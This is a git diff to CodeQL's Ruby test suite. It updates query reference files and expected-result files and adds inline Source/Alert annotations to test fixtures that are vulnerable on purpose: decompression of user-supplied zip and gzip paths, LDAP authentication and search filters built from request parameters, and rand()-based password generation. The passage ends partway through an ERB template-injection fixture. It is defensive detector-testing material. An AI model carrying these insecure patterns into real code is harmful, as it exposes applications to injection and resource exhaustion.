diff --git a/ruby/ql/test/library-tests/dataflow/params/TypeTracker.qlref b/ruby/ql/test/library-tests/dataflow/params/TypeTracker.qlref index 2815162f7d8..d3ee4a6ea04 100644 --- a/ruby/ql/test/library-tests/dataflow/params/TypeTracker.qlref +++ b/ruby/ql/test/library-tests/dataflow/params/TypeTracker.qlref @@ -1 +1 @@ -library-tests/dataflow/type-tracker/TypeTracker.ql \ No newline at end of file +query: library-tests/dataflow/type-tracker/TypeTracker.ql diff --git a/ruby/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref b/ruby/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref index 9d7833eccae..dc898fca718 100644 --- a/ruby/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref +++ b/ruby/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref @@ -1 +1 @@ -AlertSuppression.ql +query: AlertSuppression.ql diff --git a/ruby/ql/test/query-tests/analysis/Definitions.qlref b/ruby/ql/test/query-tests/analysis/Definitions.qlref index a8620aaeec6..5d25fcc3307 100644 --- a/ruby/ql/test/query-tests/analysis/Definitions.qlref +++ b/ruby/ql/test/query-tests/analysis/Definitions.qlref @@ -1 +1 @@ -queries/analysis/Definitions.ql +query: queries/analysis/Definitions.ql diff --git a/ruby/ql/test/query-tests/diagnostics/ExtractedFiles.qlref b/ruby/ql/test/query-tests/diagnostics/ExtractedFiles.qlref index d9d732152e2..ed3e1b70d3e 100644 --- a/ruby/ql/test/query-tests/diagnostics/ExtractedFiles.qlref +++ b/ruby/ql/test/query-tests/diagnostics/ExtractedFiles.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractedFiles.ql \ No newline at end of file +query: queries/diagnostics/ExtractedFiles.ql diff --git a/ruby/ql/test/query-tests/diagnostics/ExtractionErrors.qlref b/ruby/ql/test/query-tests/diagnostics/ExtractionErrors.qlref index ffbdb0a7b1b..9169d655e25 100644 --- a/ruby/ql/test/query-tests/diagnostics/ExtractionErrors.qlref +++ b/ruby/ql/test/query-tests/diagnostics/ExtractionErrors.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractionErrors.ql \ No newline at end of file +query: queries/diagnostics/ExtractionErrors.ql diff --git a/ruby/ql/test/query-tests/diagnostics/ExtractionWarnings.qlref b/ruby/ql/test/query-tests/diagnostics/ExtractionWarnings.qlref index ff6e566d20a..24af39e2326 100644 --- a/ruby/ql/test/query-tests/diagnostics/ExtractionWarnings.qlref +++ b/ruby/ql/test/query-tests/diagnostics/ExtractionWarnings.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractionWarnings.ql +query: queries/diagnostics/ExtractionWarnings.ql diff --git a/ruby/ql/test/query-tests/diagnostics/NumberOfFilesExtractedWithErrors.qlref b/ruby/ql/test/query-tests/diagnostics/NumberOfFilesExtractedWithErrors.qlref index 17823cc8837..334f91d2d60 100644 --- a/ruby/ql/test/query-tests/diagnostics/NumberOfFilesExtractedWithErrors.qlref +++ b/ruby/ql/test/query-tests/diagnostics/NumberOfFilesExtractedWithErrors.qlref @@ -1 +1 @@ -queries/summary/NumberOfFilesExtractedWithErrors.ql \ No newline at end of file +query: queries/summary/NumberOfFilesExtractedWithErrors.ql diff --git a/ruby/ql/test/query-tests/diagnostics/NumberOfSuccessfullyExtractedFiles.qlref b/ruby/ql/test/query-tests/diagnostics/NumberOfSuccessfullyExtractedFiles.qlref index 5f6eda05206..35a0e05ddb1 100644 --- a/ruby/ql/test/query-tests/diagnostics/NumberOfSuccessfullyExtractedFiles.qlref +++ b/ruby/ql/test/query-tests/diagnostics/NumberOfSuccessfullyExtractedFiles.qlref @@ -1 +1 @@ -queries/summary/NumberOfSuccessfullyExtractedFiles.ql \ No newline at end of file +query: queries/summary/NumberOfSuccessfullyExtractedFiles.ql diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.expected b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.expected index e2f8d0cb230..2631d47b89f 100644 --- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.expected +++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.expected @@ -1,3 +1,24 @@ +#select +| gzipBombs.rb:6:3:6:34 | call to open | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:6:3:6:34 | call to open | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | +| gzipBombs.rb:7:3:9:5 | call to open | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:7:3:9:5 | call to open | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | +| gzipBombs.rb:10:3:14:5 | call to open | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:10:3:14:5 | call to open | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | +| gzipBombs.rb:15:22:15:53 | call to open | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:15:22:15:53 | call to open | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | +| gzipBombs.rb:20:3:20:50 | call to new | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:20:3:20:50 | call to new | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | +| gzipBombs.rb:21:3:21:50 | call to new | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:21:3:21:50 | call to new | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | +| gzipBombs.rb:25:3:25:40 | call to zcat | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:25:3:25:40 | call to zcat | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | +| zipBombs.rb:6:3:11:5 | call to open | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:6:3:11:5 | call to open | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | +| zipBombs.rb:12:3:14:5 | call to open | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:12:3:14:5 | call to open | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | +| zipBombs.rb:15:11:15:45 | call to open | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:15:11:15:45 | call to open | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | +| zipBombs.rb:17:3:17:42 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:17:3:17:42 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | +| zipBombs.rb:18:3:18:51 | call to extract | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:18:3:18:51 | call to extract | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | +| zipBombs.rb:28:7:28:33 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:28:7:28:33 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | +| zipBombs.rb:34:5:34:17 | call to extract | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:34:5:34:17 | call to extract | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | +| zipBombs.rb:35:5:35:31 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:35:5:35:31 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | +| zipBombs.rb:41:7:41:31 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:41:7:41:31 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | +| zipBombs.rb:42:7:42:19 | call to extract | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:42:7:42:19 | call to extract | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | +| zipBombs.rb:46:10:46:36 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:46:10:46:36 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | +| zipBombs.rb:51:8:51:34 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:51:8:51:34 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | +| zipBombs.rb:55:5:55:31 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:55:5:55:31 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | edges | gzipBombs.rb:4:3:4:11 | gzip_path | gzipBombs.rb:6:25:6:33 | gzip_path | provenance | | | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:4:15:4:27 | ...[...] | provenance | | @@ -91,24 +112,3 @@ nodes | zipBombs.rb:53:29:53:40 | zipfile_path | semmle.label | zipfile_path | | zipBombs.rb:55:5:55:31 | call to read | semmle.label | call to read | subpaths -#select -| gzipBombs.rb:6:3:6:34 | call to open | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:6:3:6:34 | call to open | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | -| gzipBombs.rb:7:3:9:5 | call to open | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:7:3:9:5 | call to open | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | -| gzipBombs.rb:10:3:14:5 | call to open | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:10:3:14:5 | call to open | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | -| gzipBombs.rb:15:22:15:53 | call to open | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:15:22:15:53 | call to open | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | -| gzipBombs.rb:20:3:20:50 | call to new | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:20:3:20:50 | call to new | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | -| gzipBombs.rb:21:3:21:50 | call to new | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:21:3:21:50 | call to new | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | -| gzipBombs.rb:25:3:25:40 | call to zcat | gzipBombs.rb:4:15:4:20 | call to params | gzipBombs.rb:25:3:25:40 | call to zcat | This file Decompression depends on a $@. | gzipBombs.rb:4:15:4:20 | call to params | potentially untrusted source | -| zipBombs.rb:6:3:11:5 | call to open | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:6:3:11:5 | call to open | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | -| zipBombs.rb:12:3:14:5 | call to open | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:12:3:14:5 | call to open | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | -| zipBombs.rb:15:11:15:45 | call to open | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:15:11:15:45 | call to open | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | -| zipBombs.rb:17:3:17:42 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:17:3:17:42 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | -| zipBombs.rb:18:3:18:51 | call to extract | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:18:3:18:51 | call to extract | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | -| zipBombs.rb:28:7:28:33 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:28:7:28:33 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | -| zipBombs.rb:34:5:34:17 | call to extract | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:34:5:34:17 | call to extract | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | -| zipBombs.rb:35:5:35:31 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:35:5:35:31 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | -| zipBombs.rb:41:7:41:31 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:41:7:41:31 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | -| zipBombs.rb:42:7:42:19 | call to extract | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:42:7:42:19 | call to extract | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | -| zipBombs.rb:46:10:46:36 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:46:10:46:36 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | -| zipBombs.rb:51:8:51:34 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:51:8:51:34 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | -| zipBombs.rb:55:5:55:31 | call to read | zipBombs.rb:4:18:4:23 | call to params | zipBombs.rb:55:5:55:31 | call to read | This file Decompression depends on a $@. | zipBombs.rb:4:18:4:23 | call to params | potentially untrusted source | diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref index c24a4cc9678..e65789fc0d9 100644 --- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref +++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref @@ -1 +1,2 @@ -experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql \ No newline at end of file +query: experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb index bf9bb7b329d..1a7636809b1 100644 --- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb +++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb @@ -1,27 +1,27 @@ require 'zlib' class TestController < ActionController::Base - gzip_path = params[:path] + gzip_path = params[:path] # $ Source - Zlib::GzipReader.open(gzip_path).read + Zlib::GzipReader.open(gzip_path).read # $ Alert Zlib::GzipReader.open(gzip_path) do |uncompressedfile| puts uncompressedfile.read - end + end # $ Alert Zlib::GzipReader.open(gzip_path) do |uncompressedfile| uncompressedfile.each do |entry| puts entry end - end - uncompressedfile = Zlib::GzipReader.open(gzip_path) + end # $ Alert + uncompressedfile = Zlib::GzipReader.open(gzip_path) # $ Alert uncompressedfile.each do |entry| puts entry end - Zlib::GzipReader.new(File.open(gzip_path, 'rb')).read - Zlib::GzipReader.new(File.open(gzip_path, 'rb')).each do |entry| + Zlib::GzipReader.new(File.open(gzip_path, 'rb')).read # $ Alert + Zlib::GzipReader.new(File.open(gzip_path, 'rb')).each do |entry| # $ Alert puts entry end - Zlib::GzipReader.zcat(open(gzip_path)) + Zlib::GzipReader.zcat(open(gzip_path)) # $ Alert end diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb index 5aab5ce6382..9d0d047b035 100644 --- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb +++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb @@ -1,21 +1,21 @@ require 'zip' class TestController < ActionController::Base - zipfile_path = params[:path] + zipfile_path = params[:path] # $ Source Zip::InputStream.open(zipfile_path) do |input| while (entry = input.get_next_entry) puts :file_name, entry.name input end - end + end # $ Alert Zip::InputStream.open(zipfile_path) do |input| input.read - end - input = Zip::InputStream.open(zipfile_path) + end # $ Alert + input = Zip::InputStream.open(zipfile_path) # $ Alert - Zip::File.open(zipfile_path).read "10GB" - Zip::File.open(zipfile_path).extract "10GB", "./" + Zip::File.open(zipfile_path).read "10GB" # $ Alert + Zip::File.open(zipfile_path).extract "10GB", "./" # $ Alert Zip::File.open(zipfile_path) do |zip_file| # Handle entries one by one @@ -25,33 +25,33 @@ class TestController < ActionController::Base # Extract to file or directory based on name in the archive entry.extract # Read into memory - entry.get_input_stream.read + entry.get_input_stream.read # $ Alert end end zip_file = Zip::File.open(zipfile_path) zip_file.each do |entry| - entry.extract - entry.get_input_stream.read + entry.extract # $ Alert + entry.get_input_stream.read # $ Alert end # Find specific entry Zip::File.open(zipfile_path) do |zip_file| zip_file.glob('*.xml').each do |entry| - zip_file.read(entry.name) - entry.extract + zip_file.read(entry.name) # $ Alert + entry.extract # $ Alert end entry = zip_file.glob('*.csv').first raise 'File too large when extracted' if entry.size > MAX_SIZE - puts entry.get_input_stream.read + puts entry.get_input_stream.read # $ Alert end zip_file = Zip::File.open(zipfile_path) entry = zip_file.glob('*.csv') - puts entry.get_input_stream.read + puts entry.get_input_stream.read # $ Alert zip_file = Zip::File.open(zipfile_path) zip_file.glob('*') do |entry| - entry.get_input_stream.read + entry.get_input_stream.read # $ Alert end end diff --git a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.expected b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.expected index 635cfcd4b3e..da8f84eabfb 100644 --- a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.expected +++ b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.expected @@ -1,3 +1,6 @@ +#select +| ImproperLdapAuth.rb:15:23:15:26 | pass | ImproperLdapAuth.rb:5:12:5:17 | call to params | ImproperLdapAuth.rb:15:23:15:26 | pass | This LDAP authentication depends on a $@. | ImproperLdapAuth.rb:5:12:5:17 | call to params | user-provided value | +| ImproperLdapAuth.rb:31:24:31:27 | pass | ImproperLdapAuth.rb:24:12:24:17 | call to params | ImproperLdapAuth.rb:31:24:31:27 | pass | This LDAP authentication depends on a $@. | ImproperLdapAuth.rb:24:12:24:17 | call to params | user-provided value | edges | ImproperLdapAuth.rb:5:5:5:8 | pass | ImproperLdapAuth.rb:15:23:15:26 | pass | provenance | | | ImproperLdapAuth.rb:5:12:5:17 | call to params | ImproperLdapAuth.rb:5:12:5:24 | ...[...] | provenance | | @@ -15,6 +18,3 @@ nodes | ImproperLdapAuth.rb:24:12:24:24 | ...[...] | semmle.label | ...[...] | | ImproperLdapAuth.rb:31:24:31:27 | pass | semmle.label | pass | subpaths -#select -| ImproperLdapAuth.rb:15:23:15:26 | pass | ImproperLdapAuth.rb:5:12:5:17 | call to params | ImproperLdapAuth.rb:15:23:15:26 | pass | This LDAP authentication depends on a $@. | ImproperLdapAuth.rb:5:12:5:17 | call to params | user-provided value | -| ImproperLdapAuth.rb:31:24:31:27 | pass | ImproperLdapAuth.rb:24:12:24:17 | call to params | ImproperLdapAuth.rb:31:24:31:27 | pass | This LDAP authentication depends on a $@. | ImproperLdapAuth.rb:24:12:24:17 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref index 65f60a22b78..42e36ad38a8 100644 --- a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref +++ b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref @@ -1 +1,2 @@ -experimental/ldap-improper-auth/ImproperLdapAuth.ql \ No newline at end of file +query: experimental/ldap-improper-auth/ImproperLdapAuth.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb index 2705158563e..07dd430b9e4 100644 --- a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb +++ b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb @@ -2,7 +2,7 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is used directly as password # (i.e a remote flow source) - pass = params[:pass] + pass = params[:pass] # $ Source # BAD: user input is not sanitized ldap = Net::LDAP.new( @@ -12,7 +12,7 @@ class FooController < ActionController::Base auth: { method: :simple, username: 'uid=admin,dc=example,dc=com', - password: pass + password: pass # $ Alert } ) ldap.bind @@ -21,14 +21,14 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is used directly as password # (i.e a remote flow source) - pass = params[:pass] + pass = params[:pass] # $ Source # BAD: user input is not sanitized ldap = Net::LDAP.new ldap.host = your_server_ip_address ldap.encryption(:method => :simple_tls) ldap.port = 639 - ldap.auth "admin", pass + ldap.auth "admin", pass # $ Alert ldap.bind end end diff --git a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.expected b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.expected index 581157b6123..36cb35dfaff 100644 --- a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.expected +++ b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.expected @@ -1,6 +1,6 @@ +#select +| InsecureRandomness.rb:6:42:6:57 | call to rand | InsecureRandomness.rb:6:42:6:57 | call to rand | InsecureRandomness.rb:6:42:6:57 | call to rand | This uses a cryptographically insecure random number generated at $@ in a security context. | InsecureRandomness.rb:6:42:6:57 | call to rand | call to rand | edges nodes | InsecureRandomness.rb:6:42:6:57 | call to rand | semmle.label | call to rand | subpaths -#select -| InsecureRandomness.rb:6:42:6:57 | call to rand | InsecureRandomness.rb:6:42:6:57 | call to rand | InsecureRandomness.rb:6:42:6:57 | call to rand | This uses a cryptographically insecure random number generated at $@ in a security context. | InsecureRandomness.rb:6:42:6:57 | call to rand | call to rand | diff --git a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref index 8d04d215425..e3c5fbbad50 100644 --- a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref +++ b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref @@ -1 +1,2 @@ -experimental/insecure-randomness/InsecureRandomness.ql \ No newline at end of file +query: experimental/insecure-randomness/InsecureRandomness.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb index 116957137b5..fa7427b1c66 100644 --- a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb +++ b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb @@ -3,7 +3,7 @@ require 'securerandom' def generate_password_1(length) chars = ('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a + ['!', '@', '#', '$', '%'] # BAD: rand is not cryptographically secure - password = (1..length).collect { chars[rand(chars.size)] }.join + password = (1..length).collect { chars[rand(chars.size)] }.join # $ Alert end def generate_password_2(length) diff --git a/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb b/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb index 966b26ef636..ce4e848e59a 100644 --- a/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb +++ b/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb @@ -2,11 +2,11 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is used directly as DN # (i.e a remote flow source) - dc = params[:dc] + dc = params[:dc] # $ Source # A string tainted by user input is used directly as search filter or attribute # (i.e a remote flow source) - name = params[:user_name] + name = params[:user_name] # $ Source # LDAP Connection ldap = Net::LDAP.new( @@ -22,20 +22,20 @@ class FooController < ActionController::Base # BAD: user input is used as DN # where dc is unsanitized - ldap.search(base: "ou=people,dc=#{dc},dc=com", filter: "cn=George", attributes: [""]) + ldap.search(base: "ou=people,dc=#{dc},dc=com", filter: "cn=George", attributes: [""]) # $ Alert # BAD: user input is used as search filter # where name is unsanitized - ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=#{name}", attributes: [""]) + ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=#{name}", attributes: [""]) # $ Alert # BAD: user input is used as attribute # where name is unsanitized - ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=George", attributes: [name]) + ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=George", attributes: [name]) # $ Alert # BAD: user input is used as search filter # where name is unsanitized filter = Net::LDAP::Filter.eq('cn', name) - ldap.search(base: "ou=people,dc=example,dc=com", filter: filter, attributes: [""]) + ldap.search(base: "ou=people,dc=example,dc=com", filter: filter, attributes: [""]) # $ Alert # GOOD: user input is not used in the LDAP query result = ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=George", attributes: [""]) diff --git a/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.expected b/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.expected index 1eec0daa4c4..1e6ebba4f85 100644 --- a/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.expected +++ b/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.expected @@ -1,3 +1,8 @@ +#select +| LdapInjection.rb:25:23:25:49 | "ou=people,dc=#{...},dc=com" | LdapInjection.rb:5:10:5:15 | call to params | LdapInjection.rb:25:23:25:49 | "ou=people,dc=#{...},dc=com" | This LDAP query depends on a $@. | LdapInjection.rb:5:10:5:15 | call to params | user-provided value | +| LdapInjection.rb:29:62:29:73 | "cn=#{...}" | LdapInjection.rb:9:12:9:17 | call to params | LdapInjection.rb:29:62:29:73 | "cn=#{...}" | This LDAP query depends on a $@. | LdapInjection.rb:9:12:9:17 | call to params | user-provided value | +| LdapInjection.rb:33:87:33:92 | call to [] | LdapInjection.rb:9:12:9:17 | call to params | LdapInjection.rb:33:87:33:92 | call to [] | This LDAP query depends on a $@. | LdapInjection.rb:9:12:9:17 | call to params | user-provided value | +| LdapInjection.rb:38:62:38:67 | filter | LdapInjection.rb:9:12:9:17 | call to params | LdapInjection.rb:38:62:38:67 | filter | This LDAP query depends on a $@. | LdapInjection.rb:9:12:9:17 | call to params | user-provided value | edges | LdapInjection.rb:5:5:5:6 | dc | LdapInjection.rb:25:23:25:49 | "ou=people,dc=#{...},dc=com" | provenance | AdditionalTaintStep | | LdapInjection.rb:5:10:5:15 | call to params | LdapInjection.rb:5:10:5:20 | ...[...] | provenance | | @@ -28,8 +33,3 @@ nodes | LdapInjection.rb:37:41:37:44 | name | semmle.label | name | | LdapInjection.rb:38:62:38:67 | filter | semmle.label | filter | subpaths -#select -| LdapInjection.rb:25:23:25:49 | "ou=people,dc=#{...},dc=com" | LdapInjection.rb:5:10:5:15 | call to params | LdapInjection.rb:25:23:25:49 | "ou=people,dc=#{...},dc=com" | This LDAP query depends on a $@. | LdapInjection.rb:5:10:5:15 | call to params | user-provided value | -| LdapInjection.rb:29:62:29:73 | "cn=#{...}" | LdapInjection.rb:9:12:9:17 | call to params | LdapInjection.rb:29:62:29:73 | "cn=#{...}" | This LDAP query depends on a $@. | LdapInjection.rb:9:12:9:17 | call to params | user-provided value | -| LdapInjection.rb:33:87:33:92 | call to [] | LdapInjection.rb:9:12:9:17 | call to params | LdapInjection.rb:33:87:33:92 | call to [] | This LDAP query depends on a $@. | LdapInjection.rb:9:12:9:17 | call to params | user-provided value | -| LdapInjection.rb:38:62:38:67 | filter | LdapInjection.rb:9:12:9:17 | call to params | LdapInjection.rb:38:62:38:67 | filter | This LDAP query depends on a $@. | LdapInjection.rb:9:12:9:17 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref b/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref index 7df75a91d96..f1164f044e6 100644 --- a/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref +++ b/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref @@ -1 +1,2 @@ -experimental/ldap-injection/LdapInjection.ql \ No newline at end of file +query: experimental/ldap-injection/LdapInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb b/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb index 41b9d706953..a433e4d5436 100644 --- a/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb +++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb @@ -2,7 +2,7 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is inserted into a template # (i.e a remote flow source) - name = params[:name] + name = params[:name] # $ Source # Template with the source bad_text = " @@ -12,11 +12,11 @@ class FooController < ActionController::Base # 